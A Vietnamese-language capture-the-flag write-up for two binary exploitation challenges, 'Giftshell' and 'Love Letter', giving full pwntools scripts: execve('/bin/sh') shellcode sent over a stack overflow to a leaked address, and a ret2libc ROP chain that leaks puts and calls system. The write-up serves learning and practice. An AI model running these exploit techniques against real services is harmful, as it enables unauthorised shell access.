# (writeup) securinets Valentine
## Giftshell
- kiểm tra tổng quát

- kiểm tra ida

- quanh hàm **main** không còn hàm nào có giá trị khai thác
- có lỗi BOF nằm ở **buf**
- và khi run file sẽ cho ra 1 địa chỉ
- hướng đi : ret2shellcode leak
- đầu tiên nhận địa chỉ leak được và gửi shellcode kèm thêm những byte còn lại để overwrite bằng hàm **ljust**
- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./giftshell',checksec=False)
#p = process(exe.path)
p = remote('giftshell.securinets.tn',4010)
p.recvuntil(b'products! ')
stack_leak = int(p.recvline(),16)
log.info('stack leak :'+ hex(stack_leak))
shellcode = asm(
'''
mov rbx , 29400045130965551
push rbx
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
''',arch='amd64')
payload = shellcode
payload = payload.ljust(120)
payload += p64(stack_leak)
p.sendlineafter(b'Input: ', payload)
p.interactive()
```
- vì **p64(stack_leak)** là 8 byte nên 128 từ buf lui về 8 và sử dụng **ljust** để chèn cho đủ 120 do shellcode k rõ chiếm mất bnhiu byte

---
## Love Letter
- kiểm tra tổng quát

- kiểm tra ida

- quanh hàm **main** có
>readInput
>setup
>loveletter
>doubt
>**main**
- chương trình sẽ nhảy vào hàm **loveletter** trước...
>loveletter

- phân tích: chương trình sẽ liên tục nhập vào biến v2(buff) cho tới khi số byte vượt qua 6968 là ngưng
- theo khi nghiệm là sẽ nhập 2 lần tương ứng 4000 byte và 6969-4000=2969 byte
- sau đoá sẽ nhảy qua hàm **doubt**
>doubt

- ở lần nhập dữ liệu kế, nếu ta không chọn "Y" (ascii: char của 89) thì sẽ nhảy vào hàm **if**, nhập tiếp biến v1(size)
- ngược lại thì sẽ đi tiếp tới **readInput()** bên dưới với arg của **readInput()** là nhập với lượng byte của v1(size) vào v2(buff)[6969], trong khi v2 được thiết lập là [256] byte --> lỗi BOF
>readInput

- do NX bật nên k thể chèn shellcode, cũng như k có hàm nào có thể nhảy vào lấy shell, vậy chỉ còn ret2libc

- ở vmmap ta thấy libc.so.6, cũng hên có sẵn libc này từ đợt securinets Jingle Bell nên lụm luôn
- vậy thì ta sd pwninit để patched file đó, đồng thời script load libc lên
- vì là tạo shell từ libc nên cần thêm arg **rdi**

>0x00000000004014b3
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./main_patched', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
p = process(exe.path)
#p = remote('loveletter.securinets.tn',4040)
p.sendafter(b'> ', b'A'*4000)
p.sendafter(b'> ', b'A'*2969)
p.recvuntil(b'letter?\n')
p.sendafter(b'> ', b'Y')
#input()
pop_rdi = 0x00000000004014b3
payload = b'A'*264
payload += p64(pop_rdi) + p64(exe.got['puts'])
payload += p64(exe.plt['puts'])
payload += p64(exe.sym['main'])
p.recvuntil(b'now.\n')
p.sendafter(b'> ', payload)
p.recvuntil(b'friend!\n')
libc_leak = u64(p.recv(6) + b'\x00\x00')
libc.address = libc_leak - libc.sym['puts']
log.info("Lib leak: " + hex(libc_leak))
log.info("Lib base: " + hex(libc.address))
### thuc thi lai main
p.sendafter(b'> ', b'A'*4000)
p.sendafter(b'> ', b'A'*2969)
p.recvuntil(b'letter?\n')
p.sendafter(b'> ', b'Y')
ret = 0x000000000040101a
#input()
payload = b'A'*264
payload += p64(ret)
payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh')))
payload += p64(libc.sym['system'])
p.recvuntil(b'now.\n')
p.sendafter(b'> ', payload)
p.interactive()
```
- địa chỉ 0x40101a này để cho stack chẵn chia hết 16, nếu thiếu sẽ lỗi xmm1 và xmm0

\
